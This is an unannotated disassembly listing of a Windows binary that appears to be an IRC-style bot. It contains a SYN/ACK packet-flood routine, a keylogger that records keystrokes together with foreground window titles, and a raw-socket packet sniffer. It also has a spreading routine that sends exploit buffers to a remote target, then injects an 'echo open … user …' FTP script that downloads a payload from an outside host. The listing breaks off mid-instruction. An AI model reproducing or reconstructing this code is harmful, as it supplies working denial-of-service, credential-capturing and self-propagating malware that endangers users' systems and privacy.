call sub_415543 mov esi, eax shl esi, 8 call sub_415543 add esi, eax shl esi, 8 call sub_415543 add esi, eax shl esi, 8 call sub_415543 add esi, eax push 1 mov [ebp+var_20], esi pop esi jmp short loc_401E4E ; --------------------------------------------------------------------------- loc_401E38: ; CODE XREF: sub_401BD6+233j push [ebp+var_240] call sub_40A171 pop ecx push eax call dword_43A3D8 ; inet_addr mov [ebp+var_20], eax loc_401E4E: ; CODE XREF: sub_401BD6+260j mov eax, [ebp+var_40] cmp [ebp+var_B8], ebx mov [ebp+var_1C], eax jnz short loc_401E6C call sub_415543 cdq mov ecx, 401h idiv ecx push edx jmp short loc_401E72 ; --------------------------------------------------------------------------- loc_401E6C: ; CODE XREF: sub_401BD6+284j push [ebp+var_B8] loc_401E72: ; CODE XREF: sub_401BD6+294j call dword_43A398 ; ntohs mov [ebp+var_16], ax call sub_415543 cdq mov ecx, 401h idiv ecx push edx call dword_43A398 ; ntohs push 12345678h mov [ebp+var_18], ax call dword_43A394 ; ntohl mov [ebp+var_14], eax lea eax, [ebp+var_1BC] push offset aSyn ; "syn" push eax call sub_415AC0 pop ecx test eax, eax pop ecx jz short loc_401EC2 mov [ebp+var_10], ebx mov [ebp+var_B], 2 jmp short loc_401F1E ; --------------------------------------------------------------------------- loc_401EC2: ; CODE XREF: sub_401BD6+2E1j lea eax, [ebp+var_1BC] push offset aAck ; "ack" push eax call sub_415AC0 pop ecx test eax, eax pop ecx jz short loc_401EE2 mov [ebp+var_10], ebx mov [ebp+var_B], 10h jmp short loc_401F1E ; --------------------------------------------------------------------------- loc_401EE2: ; CODE XREF: sub_401BD6+301j lea eax, [ebp+var_1BC] push offset aRandom ; "random" push eax call sub_415AC0 pop ecx test eax, eax pop ecx jz short loc_401F1E call sub_415543 push 3 cdq pop ecx idiv ecx mov [ebp+var_10], edx call sub_415543 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_B], dl loc_401F1E: ; CODE XREF: sub_401BD6+2EAj ; sub_401BD6+30Aj ... push 200h mov [ebp+var_C], 50h call dword_43A398 ; ntohs mov [ebp+var_A], ax mov eax, [ebp+var_20] mov [ebp+var_64], eax mov eax, [ebp+var_1C] push 14h mov [ebp+var_6], bx mov [ebp+var_8], bx mov [ebp+var_60], eax mov [ebp+var_5C], bl mov [ebp+var_5B], 6 call dword_43A398 ; ntohs mov [ebp+var_5A], ax lea eax, [ebp+var_64] push 20h push eax lea eax, [ebp+var_A0] push eax call sub_4155D0 lea eax, [ebp+var_18] push 14h push eax lea eax, [ebp+var_80] push eax call sub_4155D0 lea eax, [ebp+var_A0] push 34h push eax call sub_40A1CA mov [ebp+var_8], ax lea eax, [ebp+var_2C] push 14h push eax lea eax, [ebp+var_A0] push eax call sub_4155D0 lea eax, [ebp+var_18] push 14h push eax lea eax, [ebp+var_8C] push eax call sub_4155D0 push 4 lea eax, [ebp+var_78] push ebx push eax call sub_415570 add esp, 44h lea eax, [ebp+var_A0] push 28h push eax call sub_40A1CA mov [ebp+var_22], ax lea eax, [ebp+var_2C] push 14h push eax lea eax, [ebp+var_A0] push eax call sub_4155D0 add esp, 14h lea eax, [ebp+var_44] push 10h push eax push ebx lea eax, [ebp+var_A0] push 3Ch push eax push [ebp+var_4] call dword_43A3FC ; sendto cmp eax, 0FFFFFFFFh jz short loc_40200B inc [ebp+arg_0] jmp loc_401DC5 ; --------------------------------------------------------------------------- loc_40200B: ; CODE XREF: sub_401BD6+42Bj push [ebp+var_4] call dword_43A430 ; closesocket call dword_43A32C ; WSAGetLastError push eax lea eax, [ebp+var_23C] push [ebp+arg_0] push eax push offset dword_423344 lea eax, [ebp+var_440] push 200h push eax call sub_415A6A add esp, 18h cmp [ebp+var_A8], ebx jnz short loc_402069 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_412D4C add esp, 14h loc_402069: ; CODE XREF: sub_401BD6+46Ej lea eax, [ebp+var_440] push eax call sub_40B16D push [ebp+var_BC] call sub_4152AF pop ecx pop ecx push ebx call dword_421048 ; ExitThread loc_402089: ; CODE XREF: sub_401BD6+203j push [ebp+var_4] call dword_43A430 ; closesocket mov eax, [ebp+arg_0] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_B4] shr ecx, 14h push ecx push eax lea eax, [ebp+var_23C] push [ebp+arg_0] push eax lea eax, [ebp+var_1BC] push eax lea eax, [ebp+var_440] push offset dword_4232E0 push eax call sub_4154E7 add esp, 1Ch cmp [ebp+var_A8], ebx jnz short loc_4020FA push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_412D4C add esp, 14h loc_4020FA: ; CODE XREF: sub_401BD6+4FFj lea eax, [ebp+var_440] push eax call sub_40B16D push [ebp+var_BC] call sub_4152AF pop ecx pop ecx push ebx call dword_421048 ; ExitThread sub_401BD6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40211A proc near ; CODE XREF: sub_4021FB+B4p ; sub_4021FB+253p var_314 = byte ptr -314h var_114 = byte ptr -114h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = byte ptr 14h arg_8C = dword ptr 94h arg_90 = dword ptr 98h push ebp mov ebp, esp loc_40211D: ; DATA XREF: .nsp0:off_42F3B0o sub esp, 314h lea eax, [ebp+var_10] push esi push eax call dword_42105C ; GetLocalTime lea eax, [ebp+var_114] push 104h push eax call dword_421058 ; GetSystemDirectoryA lea eax, [ebp+var_114] push offset asc_423C30 ; "\\" push eax call sub_415C10 lea eax, [ebp+var_114] push offset dword_42C20C push eax call sub_415C10 lea eax, [ebp+var_114] push offset aAb ; "ab" push eax call sub_415BE8 mov esi, eax add esp, 18h test esi, esi jnz short loc_402181 push 1 pop eax jmp short loc_4021F8 ; --------------------------------------------------------------------------- loc_402181: ; CODE XREF: sub_40211A+60j movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n" push esi call sub_415B96 push esi call sub_415B40 add esp, 28h cmp [ebp+arg_90], 0 jnz short loc_4021F6 push [ebp+arg_0] lea eax, [ebp+var_314] push offset dword_423BEC push 200h push eax call sub_415A6A push 0 lea eax, [ebp+var_314] push [ebp+arg_8C] push eax lea eax, [ebp+arg_C] push eax push [ebp+arg_4] call sub_412D4C add esp, 24h loc_4021F6: ; CODE XREF: sub_40211A+A3j xor eax, eax loc_4021F8: ; CODE XREF: sub_40211A+65j pop esi leave retn sub_40211A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4021FB proc near ; DATA XREF: sub_40CE55+1E1Eo var_8DC = dword ptr -8DCh var_8D8 = byte ptr -8D8h var_4DC = byte ptr -4DCh var_2DD = byte ptr -2DDh var_2DC = byte ptr -2DCh var_DC = byte ptr -0DCh var_D8 = dword ptr -0D8h var_48 = byte ptr -48h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8DCh mov eax, [ebp+arg_0] push ebx push esi push edi and [ebp+var_8DC], 0 push 25h and [ebp+var_4], 0 pop ecx mov esi, eax lea edi, [ebp+var_DC] rep movsd mov dword ptr [eax+90h], 1 mov ecx, 0FFh xor eax, eax lea edi, [ebp+var_8D8] rep stosd call dword_43A320 ; GetForegroundWindow lea ecx, [ebp+var_48] push 3Ch push ecx push eax mov [ebp+var_8], eax call dword_43A334 ; GetWindowTextA mov ebx, 200h loc_402256: ; CODE XREF: sub_4021FB+2C7j push 8 call dword_421060 ; Sleep call dword_43A320 ; GetForegroundWindow cmp eax, [ebp+var_8] jz short loc_4022DE lea ecx, [ebp+var_48] push 3Ch push ecx push eax mov [ebp+var_8], eax call dword_43A334 ; GetWindowTextA lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax lea eax, [ebp+var_4DC] push offset aSChangedWindow ; "%s (Changed Windows: %s)" push eax call sub_4154E7 sub esp, 84h lea esi, [ebp+var_DC] lea eax, [ebp+var_4DC] push 25h pop ecx mov edi, esp push eax rep movsd call sub_40211A mov [ebp+var_4], eax push ebx lea eax, [ebp+var_2DC] push 0 push eax call sub_415570 add esp, 0A4h lea eax, [ebp+var_4DC] push ebx push 0 push eax call sub_415570 add esp, 0Ch loc_4022DE: ; CODE XREF: sub_4021FB+6Cj mov [ebp+arg_0], offset aB ; "b" loc_4022E5: ; CODE XREF: sub_4021FB+2BDj push 10h call dword_43A278 ; GetKeyState movsx esi, ax mov eax, [ebp+arg_0] mov edi, [eax-4] push edi call dword_43A364 ; GetAsyncKeyState test ah, 80h jz short loc_40237D push 14h call dword_43A278 ; GetKeyState test ax, ax jz short loc_40232E cmp esi, 0FFFFFFFFh jle short loc_40232E cmp edi, 40h jle short loc_40232E cmp edi, 5Bh jge short loc_40232E mov [ebp+edi*4+var_8DC], 1 jmp loc_4024AD ; --------------------------------------------------------------------------- loc_40232E: ; CODE XREF: sub_4021FB+112j ; sub_4021FB+117j ... push 14h call dword_43A278 ; GetKeyState test ax, ax jz short loc_402359 test esi, esi jge short loc_40236D cmp edi, 40h jle short loc_402359 cmp edi, 5Bh jge short loc_402359 mov [ebp+edi*4+var_8DC], 2 jmp loc_4024AD ; --------------------------------------------------------------------------- loc_402359: ; CODE XREF: sub_4021FB+13Ej ; sub_4021FB+147j ... test esi, esi jge short loc_40236D mov [ebp+edi*4+var_8DC], 3 jmp loc_4024AD ; --------------------------------------------------------------------------- loc_40236D: ; CODE XREF: sub_4021FB+142j ; sub_4021FB+160j mov [ebp+edi*4+var_8DC], 4 jmp loc_4024AD ; --------------------------------------------------------------------------- loc_40237D: ; CODE XREF: sub_4021FB+105j mov esi, [ebp+edi*4+var_8DC] lea eax, [ebp+edi*4+var_8DC] test esi, esi jz loc_4024AD and dword ptr [eax], 0 lea eax, [ebp+var_2DC] cmp edi, 8 push eax jnz short loc_4023B5 call sub_415CF0 and [ebp+eax+var_2DD], 0 pop ecx jmp loc_4024AD ; --------------------------------------------------------------------------- loc_4023B5: ; CODE XREF: sub_4021FB+1A5j call sub_415CF0 cmp eax, 1B9h pop ecx jbe short loc_4023E7 call dword_43A320 ; GetForegroundWindow lea ecx, [ebp+var_48] push 3Ch push ecx push eax call dword_43A334 ; GetWindowTextA lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax push offset aSBufferFullS ; "%s (Buffer full) (%s)" jmp short loc_402428 ; --------------------------------------------------------------------------- loc_4023E7: ; CODE XREF: sub_4021FB+1C5j cmp edi, 0Dh jnz loc_40247F lea eax, [ebp+var_2DC] push eax call sub_415CF0 test eax, eax pop ecx jz loc_4024AD call dword_43A320 ; GetForegroundWindow lea ecx, [ebp+var_48] push 3Ch push ecx push eax call dword_43A334 ; GetWindowTextA lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax push offset aSReturnS ; "%s (Return) (%s)" loc_402428: ; CODE XREF: sub_4021FB+1EAj lea eax, [ebp+var_4DC] push eax call sub_4154E7 sub esp, 84h lea esi, [ebp+var_DC] lea eax, [ebp+var_4DC] push 25h pop ecx mov edi, esp push eax rep movsd call sub_40211A mov [ebp+var_4], eax push ebx lea eax, [ebp+var_2DC] push 0 push eax call sub_415570 add esp, 0A4h lea eax, [ebp+var_4DC] push ebx push 0 push eax call sub_415570 add esp, 0Ch jmp short loc_4024AD ; --------------------------------------------------------------------------- loc_40247F: ; CODE XREF: sub_4021FB+1EFj cmp esi, 1 jz short loc_402498 cmp esi, 3 jz short loc_402498 cmp esi, 2 jz short loc_402493 cmp esi, 4 jnz short loc_4024AD loc_402493: ; CODE XREF: sub_4021FB+291j push [ebp+arg_0] jmp short loc_40249F ; --------------------------------------------------------------------------- loc_402498: ; CODE XREF: sub_4021FB+287j ; sub_4021FB+28Cj mov eax, [ebp+arg_0] add eax, 7 push eax loc_40249F: ; CODE XREF: sub_4021FB+29Bj lea eax, [ebp+var_2DC] push eax call sub_415C10 pop ecx pop ecx loc_4024AD: ; CODE XREF: sub_4021FB+12Ej ; sub_4021FB+159j ... add [ebp+arg_0], 14h cmp [ebp+arg_0], offset dword_423BB4 jl loc_4022E5 cmp [ebp+var_4], 0 jz loc_402256 push [ebp+var_D8] call sub_4152AF pop ecx push 0 call dword_421048 ; ExitThread sub_4021FB endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4024DC proc near ; DATA XREF: sub_40CE55+1C67o var_102B4 = byte ptr -102B4h var_102AB = byte ptr -102ABh var_102A8 = dword ptr -102A8h var_102A0 = dword ptr -102A0h var_10293 = byte ptr -10293h var_1028C = byte ptr -1028Ch var_2B4 = byte ptr -2B4h var_B4 = dword ptr -0B4h var_B0 = byte ptr -0B0h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = byte ptr -20h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 102B4h call sub_415D70 mov edx, [ebp+arg_0] push esi push edi push 1 pop eax mov esi, edx push 25h lea edi, [ebp+var_B4] pop ecx mov [ebp+var_8], eax rep movsd mov [edx+90h], eax xor esi, esi push 10h lea eax, [ebp+var_1C] push esi push eax call sub_415570 add esp, 0Ch mov [ebp+var_1C], 2 push esi call dword_43A398 ; ntohs push [ebp+var_B4] mov [ebp+var_1A], ax call sub_40A171 pop ecx push eax call dword_43A3D8 ; inet_addr push esi push 3 push 2 mov [ebp+var_18], eax call dword_43A418 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_4], edi jnz short loc_4025B1 call dword_43A32C ; WSAGetLastError push eax lea eax, [ebp+var_2B4] push offset dword_42462C push eax call sub_4154E7 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_402594 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_412D4C add esp, 14h loc_402594: ; CODE XREF: sub_4024DC+96j lea eax, [ebp+var_2B4] push eax call sub_40B16D push [ebp+var_30] call sub_4152AF pop ecx pop ecx push esi call dword_421048 ; ExitThread loc_4025B1: ; CODE XREF: sub_4024DC+76j mov eax, [ebp+var_30] push 10h imul eax, 234h mov dword_43F534[eax], edi lea eax, [ebp+var_1C] push eax push edi call dword_43A3C4 ; bind cmp eax, 0FFFFFFFFh jnz short loc_402636 call dword_43A32C ; WSAGetLastError push eax lea eax, [ebp+var_2B4] push offset unk_4245E4 push eax call sub_4154E7 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_402612 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_412D4C add esp, 14h loc_402612: ; CODE XREF: sub_4024DC+114j lea eax, [ebp+var_2B4] push eax call sub_40B16D pop ecx push edi call dword_43A430 ; closesocket push [ebp+var_30] call sub_4152AF pop ecx push esi call dword_421048 ; ExitThread loc_402636: ; CODE XREF: sub_4024DC+F4j push esi lea eax, [ebp+var_20] push esi push eax push esi push esi lea eax, [ebp+var_8] push 4 push eax push 98000001h push edi call dword_43A344 ; WSAIoctl cmp eax, 0FFFFFFFFh jnz short loc_4026B9 call dword_43A32C ; WSAGetLastError push eax lea eax, [ebp+var_2B4] push offset unk_424598 push eax call sub_4154E7 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_402695 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_412D4C add esp, 14h loc_402695: ; CODE XREF: sub_4024DC+197j lea eax, [ebp+var_2B4] push eax call sub_40B16D pop ecx push edi call dword_43A430 ; closesocket push [ebp+var_30] call sub_4152AF pop ecx push esi call dword_421048 ; ExitThread loc_4026B9: ; CODE XREF: sub_4024DC+177j push ebx mov ebx, offset dword_423C90 loc_4026BF: ; CODE XREF: sub_4024DC+21Bj ; sub_4024DC+22Dj ... mov edi, 0FFFFh lea eax, [ebp+var_102B4] push edi push esi push eax call sub_415570 add esp, 0Ch lea eax, [ebp+var_102B4] push esi push edi push eax push [ebp+var_4] call dword_43A3B0 ; recv cmp eax, 0FFFFFFFFh jz loc_4027D1 cmp [ebp+var_102AB], 6 jnz short loc_4026BF mov eax, [ebp+var_102A8] cmp [ebp+var_10293], 18h mov [ebp+var_C], eax jnz short loc_4026BF lea eax, [ebp+var_1028C] push offset aPsniff ; "[PSNIFF]" push eax call sub_415AC0 pop ecx test eax, eax pop ecx jnz short loc_4026BF mov eax, ebx xor edi, edi test eax, eax jz short loc_4026BF mov [ebp+arg_0], ebx loc_40272D: ; CODE XREF: sub_4024DC+26Cj push eax lea eax, [ebp+var_1028C] push eax call sub_415AC0 pop ecx test eax, eax pop ecx jnz short loc_40274F inc edi add [ebp+arg_0], 18h mov eax, [ebp+arg_0] jnz short loc_40272D jmp loc_4026BF ; --------------------------------------------------------------------------- loc_40274F: ; CODE XREF: sub_4024DC+262j lea eax, [ebp+var_1028C] push eax push [ebp+var_102A0] call dword_43A2D4 ; ntohs movzx eax, ax push eax push [ebp+var_C] call dword_43A424 ; inet_ntoa push eax lea eax, [edi+edi*2] mov eax, dword_423CA4[eax*8] push off_423C80[eax*4] lea eax, [ebp+var_2B4] push offset unk_424544 push 200h push eax call sub_415A6A add esp, 1Ch cmp [ebp+var_28], esi jnz short loc_4027BF push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_412D4C add esp, 14h loc_4027BF: ; CODE XREF: sub_4024DC+2C1j lea eax, [ebp+var_2B4] push eax call sub_40B16D pop ecx jmp loc_4026BF ; --------------------------------------------------------------------------- loc_4027D1: ; CODE XREF: sub_4024DC+20Ej call dword_43A32C ; WSAGetLastError push eax push offset unk_4244FC lea eax, [ebp+var_2B4] push 200h push eax call sub_415A6A add esp, 10h cmp [ebp+var_28], esi pop ebx jnz short loc_402817 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_412D4C add esp, 14h loc_402817: ; CODE XREF: sub_4024DC+319j lea eax, [ebp+var_2B4] push eax call sub_40B16D pop ecx push [ebp+var_4] call dword_43A430 ; closesocket push [ebp+var_30] call sub_4152AF pop ecx push esi call dword_421048 ; ExitThread sub_4024DC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40283D proc near ; CODE XREF: sub_402988+440p var_5A4 = byte ptr -5A4h var_1A4 = byte ptr -1A4h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 5A4h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_14] push esi push eax call sub_415570 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_14], 2 push eax call dword_4211D8 ; inet_addr mov [ebp+var_10], eax mov ax, word_424F58 push eax call dword_4211DC ; ntohs push esi push 1 push 2 mov [ebp+var_12], ax call dword_4211E0 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_4], edi jz loc_40295D lea eax, [ebp+var_14] push 10h push eax push edi call dword_4211E4 ; connect cmp eax, 0FFFFFFFFh jz loc_40295D push esi lea eax, [ebp+var_5A4] push 400h push eax push edi call dword_4211E8 ; recv mov esi, offset byte_42C1FC mov ebx, 190h push esi push esi push offset aDd_ ; "dd." push offset aDd ; "dd" push offset a78712 ; "78712" push offset dword_468994 push offset aEchoOpenSDEqEc ; "echo open %s %d >> eq&echo user %s %s >"... lea eax, [ebp+var_1A4] push ebx push eax call sub_415A6A add esp, 24h lea eax, [ebp+var_1A4] push 0 push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_1A4] push eax push edi mov edi, dword_4211EC call edi ; send cmp eax, 0FFFFFFFFh jz short loc_40295D push 1F4h call dword_421060 ; Sleep push esi push offset dword_425050 lea eax, [ebp+var_1A4] push ebx push eax call sub_415A6A add esp, 10h lea eax, [ebp+var_1A4] push 0 push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_1A4] push eax push [ebp+var_4] call edi ; send cmp eax, 0FFFFFFFFh jnz short loc_402961 loc_40295D: ; CODE XREF: sub_40283D+54j ; sub_40283D+6Aj ... xor al, al jmp short loc_402983 ; --------------------------------------------------------------------------- loc_402961: ; CODE XREF: sub_40283D+11Ej push 0 lea eax, [ebp+var_5A4] push 400h push eax push [ebp+var_4] call dword_4211E8 ; recv push [ebp+var_4] call dword_4211F0 ; closesocket mov al, 1 loc_402983: ; CODE XREF: sub_40283D+122j pop edi pop esi pop ebx leave retn sub_40283D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402988 proc near ; CODE XREF: sub_402DDD+11Bp ; sub_402DDD+13Dp var_89B0 = byte ptr -89B0h var_8948 = byte ptr -8948h var_68D8 = byte ptr -68D8h var_6868 = byte ptr -6868h var_5DA4 = byte ptr -5DA4h var_4800 = byte ptr -4800h var_47FF = byte ptr -47FFh var_376C = byte ptr -376Ch var_2CA8 = byte ptr -2CA8h var_2CA7 = byte ptr -2CA7h var_2CA4 = byte ptr -2CA4h var_2C28 = byte ptr -2C28h var_2458 = byte ptr -2458h var_1FAD = byte ptr -1FADh var_1CC0 = byte ptr -1CC0h var_14DC = byte ptr -14DCh var_14CC = byte ptr -14CCh var_11A8 = byte ptr -11A8h var_11A4 = byte ptr -11A4h var_1198 = byte ptr -1198h var_F10 = byte ptr -0F10h var_E70 = byte ptr -0E70h var_764 = dword ptr -764h var_754 = byte ptr -754h var_740 = byte ptr -740h var_100 = byte ptr -100h var_FF = byte ptr -0FFh var_B0 = byte ptr -0B0h var_AD = byte ptr -0ADh var_83 = byte ptr -83h var_81 = byte ptr -81h var_80 = byte ptr -80h var_38 = byte ptr -38h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h push ebp mov ebp, esp mov eax, 89B0h call sub_415D70 mov eax, dword_4250D0 push ebx mov [ebp+var_10], eax mov eax, dword_4250D4 mov [ebp+var_C], eax push esi lea eax, [ebp+arg_4] push edi push eax lea eax, [ebp+var_38] push offset loc_4250C4 push eax call sub_4154E7 add esp, 0Ch xor ecx, ecx lea eax, [ebp+var_FF] loc_4029C5: ; CODE XREF: sub_402988+4Dj mov dl, [ebp+ecx+var_38] mov [eax-1], dl and byte ptr [eax], 0 inc ecx inc eax inc eax cmp ecx, 28h jl short loc_4029C5 push 60h lea eax, [ebp+var_B0] push offset dword_424B68 push eax call sub_4155D0 lea eax, [ebp+var_38] push eax call sub_415CF0 shl eax, 1 push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax call sub_4155D0 add esp, 1Ch lea eax, [ebp+var_38] push 9 push (offset aC+3) push eax call sub_415CF0 pop ecx lea eax, [ebp+eax*2+var_81] push eax call sub_4155D0 lea eax, [ebp+var_38] push eax call sub_415CF0 add al, 1Ah push 1 shl al, 1 mov [ebp+var_1], al lea eax, [ebp+var_1] push eax lea eax, [ebp+var_AD] push eax call sub_4155D0 lea eax, [ebp+var_38] push eax call sub_415CF0 shl al, 1 add al, 9 push 1 mov [ebp+var_2], al lea eax, [ebp+var_2] push eax lea eax, [ebp+var_83] push eax call sub_4155D0 mov ax, word_424F58 add esp, 2Ch push eax call dword_4211DC ; ntohs xor eax, 9999h push 2 mov [ebp+var_8], eax lea eax, [ebp+var_8] push eax push offset dword_424868 call sub_4155D0 add esp, 0Ch cmp [ebp+arg_C0], 0 jz loc_402B7F mov edi, 0DACh lea eax, [ebp+var_1CC0] push edi push 90h push eax call sub_415570 mov eax, [ebp+arg_C0] push 4 imul eax, 3Ch lea ebx, dword_424F98[eax] lea eax, [ebp+var_14DC] push ebx push eax call sub_4155D0 mov esi, offset loc_4247B8 push esi call sub_415CF0 push eax lea eax, [ebp+var_14CC] push esi push eax call sub_4155D0 push 4 lea eax, [ebp+var_11A8] push offset loc_4250BC push eax call sub_4155D0 push 4 lea eax, [ebp+var_11A4] push ebx push eax call sub_4155D0 add esp, 40h push esi call sub_415CF0 push eax lea eax, [ebp+var_1198] push esi push eax call sub_4155D0 add esp, 10h xor ecx, ecx lea eax, [ebp+var_47FF] loc_402B35: ; CODE XREF: sub_402988+1BFj mov dl, [ebp+ecx+var_1CC0] mov [eax-1], dl and byte ptr [eax], 0 inc ecx inc eax inc eax cmp ecx, edi jl short loc_402B35 and [ebp+var_2CA8], 0 and [ebp+var_2CA7], 0 mov esi, 1C52h lea eax, [ebp+var_89B0] push esi push 31h push eax call sub_415570 push esi lea eax, [ebp+var_68D8] push 31h push eax call sub_415570 add esp, 18h jmp short loc_402BD6 ; --------------------------------------------------------------------------- loc_402B7F: ; CODE XREF: sub_402988+115j push 7D0h lea eax, [ebp+var_F10] push 90h push eax call sub_415570 mov esi, offset loc_4247B8 push esi call sub_415CF0 push eax lea eax, [ebp+var_E70] push esi push eax call sub_4155D0 lea eax, [ebp+var_10] push eax call sub_415CF0 push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_754] push eax call sub_4155D0 mov eax, dword_424F98 add esp, 2Ch mov [ebp+var_764], eax loc_402BD6: ; CODE XREF: sub_402988+1F5j push 0E29h lea eax, [ebp+var_2CA4] push 31h push eax call sub_415570 movsx eax, [ebp+var_1] add esp, 0Ch add eax, 4 mov esi, dword_4211EC push 0 push eax lea eax, [ebp+var_B0] push eax push [ebp+arg_BC] call esi ; send cmp eax, 0FFFFFFFFh jnz short loc_402C17 loc_402C10: ; CODE XREF: sub_402988+2C0j ; sub_402988+2EBj ... xor al, al jmp loc_402DD8 ; --------------------------------------------------------------------------- loc_402C17: ; CODE XREF: sub_402988+286j mov edi, dword_4211E8 mov ebx, 640h push 0 lea eax, [ebp+var_740] push ebx push eax push [ebp+arg_BC] call edi ; recv push 0 push 68h push offset dword_424BCC push [ebp+arg_BC] call esi ; send cmp eax, 0FFFFFFFFh jz short loc_402C10 push 0 lea eax, [ebp+var_740] push ebx push eax push [ebp+arg_BC] call edi ; recv push 0 push 0A0h push offset dword_424C38 push [ebp+arg_BC] call esi ; send cmp eax, 0FFFFFFFFh jz short loc_402C10 push 0 lea eax, [ebp+var_740] push ebx push eax push [ebp+arg_BC] call edi ; recv cmp [ebp+arg_C0], 0 jz loc_402D43 push 68h lea eax, [ebp+var_89B0] push offset dword_424DF0 push eax call sub_4155D0 lea eax, [ebp+var_4800] push 1B5Ah push eax lea eax, [ebp+var_8948] push eax call sub_4155D0 push 70h lea eax, [ebp+var_68D8] push offset dword_424E5C push eax call sub_4155D0 lea eax, [ebp+var_376C] push 0A5Eh push eax lea eax, [ebp+var_6868] push eax call sub_4155D0 push 84h lea eax, [ebp+var_5DA4] push offset dword_424ED0 push eax call sub_4155D0 add esp, 3Ch lea eax, [ebp+var_89B0] push 0 push 10FCh push eax push [ebp+arg_BC] call esi ; send cmp eax, 0FFFFFFFFh jz loc_402C10 push 0 lea eax, [ebp+var_740] push ebx push eax push [ebp+arg_BC] call edi ; recv push 0 push 0FDCh lea eax, [ebp+var_68D8] jmp short loc_402D9B ; --------------------------------------------------------------------------- loc_402D43: ; CODE XREF: sub_402988+306j push 7Ch lea eax, [ebp+var_2CA4] push offset dword_424CDC push eax call sub_4155D0 lea eax, [ebp+var_F10] push 7D0h push eax lea eax, [ebp+var_2C28] push eax call sub_4155D0 push 90h lea eax, [ebp+var_2458] push offset off_424D5C push eax call sub_4155D0 add esp, 24h and [ebp+var_1FAD], 0 lea eax, [ebp+var_2CA4] push 0 push 0CF8h loc_402D9B: ; CODE XREF: sub_402988+3B9j push eax push [ebp+arg_BC] call esi ; send cmp eax, 0FFFFFFFFh jz loc_402C10 push 12Ch call dword_421060 ; Sleep sub esp, 0BCh lea esi, [ebp+arg_0] push 2Fh pop ecx mov edi, esp rep movsd call sub_40283D add esp, 0BCh test al, al setnz al loc_402DD8: ; CODE XREF: sub_402988+28Aj pop edi pop esi pop ebx leave retn sub_402988 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402DDD proc near ; CODE XREF: .nsp0:00403E5Cp var_858 = byte ptr -858h var_814 = byte ptr -814h var_218 = byte ptr -218h var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_14 = byte ptr 1Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h arg_B0 = dword ptr 0B8h push ebp mov ebp, esp sub esp, 858h push ebx push esi push edi xor edi, edi push 10h lea eax, [ebp+var_18] push edi push eax mov [ebp+var_8], edi call sub_415570 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_18], 2 push eax call dword_4211D8 ; inet_addr push [ebp+arg_A0] mov [ebp+var_14], eax call dword_4211DC ; ntohs push 6 push 1 push 2 mov [ebp+var_16], ax call dword_4211E0 ; 